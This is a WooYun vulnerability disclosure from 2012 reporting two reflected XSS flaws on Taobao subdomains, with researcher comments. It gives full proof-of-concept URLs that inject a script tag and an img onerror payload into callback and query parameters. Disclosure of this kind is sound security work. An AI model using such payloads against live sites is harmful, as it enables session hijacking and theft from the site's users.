淘宝网2处反射型xss

漏洞概要

缺陷编号:WooYun-2012-06330

漏洞标题:淘宝网2处反射型xss

相关厂商:淘宝网

漏洞作者:goderci

提交时间:2012-04-24 14:24

公开时间:2012-04-29 14:25

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

Tags标签:

漏洞详情

披露状态:

2012-04-24: 细节已通知厂商并且等待厂商处理中
2012-04-24: 厂商已查看当前漏洞内容,细节仅向厂商公开
2012-04-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

2处反射型XSS!

详细说明:

http://fang.taobao.com/fang/activities/getLotteryInfo.html?callback=<script>alert(/goderci/)</script>【IE 6测试】http://kezhan.trip.taobao.com/remote/citySearch.do?&callback={callback}&q=11111<img src=1 onerror=alert(/goderci/)>

漏洞证明:

http://fang.taobao.com/fang/activities/getLotteryInfo.html?callback=<script>alert(/goderci/)</script>【IE 6测试】

http://kezhan.trip.taobao.com/remote/citySearch.do?&callback={callback}&q=11111<img src=1 onerror=alert(/goderci/)>

修复方案:

过滤!

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-04-29 14:25

厂商回复:

漏洞Rank:5 (WooYun评价)

最新状态:

暂无

评价

  1. 2010-01-01 00:00 紫梦芊 白帽子 | Rank:83 漏洞数:9)

    @goderci 应该不是top的吧.你XSS研究很深啊,空了多向你请教下 呵呵

  2. 2010-01-01 00:00 goderci 白帽子 | Rank:522 漏洞数:47)

    @紫梦芊 嗯,互相交流。top的?啥意思?

  3. 2010-01-01 00:00 紫梦芊 白帽子 | Rank:83 漏洞数:9)

    @goderci top=taobao open platform

  4. 2010-01-01 00:00 goderci 白帽子 | Rank:522 漏洞数:47)

    @紫梦芊 哦~这样啊!

  5. 2010-01-01 00:00 piaoye 白帽子 | Rank:284 漏洞数:43)

    onerror标签触发,太帅气了

  6. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    这个为什么忽略啊?

  7. 2010-01-01 00:00 goderci 白帽子 | Rank:522 漏洞数:47)

    @xsser 我发过给他们邮箱!估计就被忽略了!o(╯□╰)o!